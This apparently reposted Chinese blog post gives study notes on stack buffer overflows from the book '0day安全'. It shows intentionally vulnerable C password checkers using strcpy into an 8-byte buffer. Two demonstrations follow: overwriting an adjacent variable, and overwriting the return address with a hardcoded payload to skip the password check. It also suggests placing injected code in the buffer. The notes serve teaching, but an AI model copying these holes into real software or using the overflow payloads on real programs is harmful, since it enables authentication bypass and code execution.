栈溢出实践
来源:互联网 发布:ios看电视直播软件 编辑:程序博客网 时间:2024/06/09 20:18
0x00 strcpy()函数
void main() { char s[]="123456789"; char d[]="abc"; strcpy(d,s); printf("d=%s,\ns=%s",d,s); getchar();}
- Visual C++6.0中运行结果:
- 拷贝前后栈中变量分布:
—————->>> - 解释:strcpy(d,s)将s中的所有字符拷贝到s中,直遇到结束符’\0’,而不检查d是否越界。
0x01 修改邻接变量
- 不进行编译优化前提下,局部变量在栈中是相邻存放的,若局部变量中有数组等缓冲区,并且程序存在数组越界的缺陷,则越界的数组元素有可能破坏栈中相邻变量、EBP值、返回地址等
#include <stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8];// add local buff authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated;}main(){ int valid_flag=0; char password[1024]; while(1) { printf("please input password: "); scanf("%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); break; } }}
- 运行结果:
- 错误密码通过验证原理
函数栈中参数的分布:
拷贝前后栈中变量分布:
—————>>>
输入8个’q’,第9个为字符串截断符0x00,溢出至authenticated的低字节,恰好将0x00000001覆盖成0x00000000,成功通过验证。 - 说明:
a) 只有输入的8个字符大于”1234567”是才能通过验证。由于authenticated的值是strcmp()的返回值,输入字符串大于”1234567”是,返回1,内存中为0x00000001,可以用字符串截断符NULL覆盖authenticated的低字节通过验证。当输入字符串小于”1234567”时,函数返回-1,内存中为0xffffffff,覆盖后为0xffffff00,仍不能通过验证。
b) Visual C++ 6.0 Debug版本编译能实现该实验,VS2010的GS(缓冲区安全检查)会使该实验失败。
0x02 修改函数返回地址
- 通过缓冲区溢出改写函数栈帧最下方的EBP值和函数返回地址等栈帧状态值。
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[8];// add local buff authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated;}main(){ int valid_flag=0; char password[1024] = "AAAAAAAAAAAAAAAA\x0A\x11\x40\x00"; while(1) { valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); break; }}}
- 通过验证原理:
程序中password[1024] = “AAAAAAAAAAAAAAAA\x0A\x11\x40\x00”,其中”\x0A\x11\x40\x00”将覆盖函数返回地址的值,且0x0040110A为密码验证成功处理分支的指令地址(该地址通过动态调试得到)。故程序能在verify_password()调用后直接跳转至通过验证分支,成功绕过密码验证。
拷贝前后栈中变量分布:
————- ->>>
由于EBP被覆盖为无效值,是程序退出时堆栈无法平衡,导致程序崩溃。 - 说明:
a) Visual C++ 6.0 Debug版本编译能实现该实验,VS2010的GS(缓冲区安全检查)会使该实验失败。
b) 可以password[1024]中写入自己的代码,用该代码的虚拟地址覆盖返回地址实现代码植入。
——《0day安全》学习笔记
0 0
- 栈溢出实践
- 栈溢出实践
- 缓冲区溢出攻击实践
- ActiveX溢出漏洞实践分析
- x86 最简单溢出实践
- 堆溢出,栈溢出
- 堆溢出、栈溢出
- 表达实践:从缓冲区溢出说起
- 缓冲区溢出的原理和实践(Phrack)
- 缓冲区溢出的原理和实践(Phrack)
- 缓冲区溢出的原理和实践(Phrack)
- 实践堆栈缓冲区溢出(1)
- 实践堆栈缓冲区溢出(2)
- 缓冲区溢出的原理和实践
- 缓冲区溢出的原理和实践
- 缓冲区溢出的原理和实践(Phrack)
- 缓冲区溢出的原理和实践
- 缓冲区溢出的原理和实践
- 【Leetcode】Flatten Binary Tree to Linked List
- Oracle并行详解
- 【ZJOI2015】【BZOJ3926】诸神眷顾的幻想乡
- HDU2639 01背包的第K最优决策
- 如何在Cocos2D游戏中实现A*寻路算法(三)
- 栈溢出实践
- opencv 报错:fatal error C1083: 无法打开包括文件: “stdafx.h”: No such file or directory
- Ubuntu 14.04 安装Virtualbox No suitable module for running kernel found
- Qt Qt4#include <QtGui>包含常用的头文件在Qt5中无效
- 虚拟地址、逻辑地址、线性地址、物理地址
- 一个用于部署应用的ant脚本
- ibatis缓存的设置使用
- java AES对称加解密
- core data的复习与使用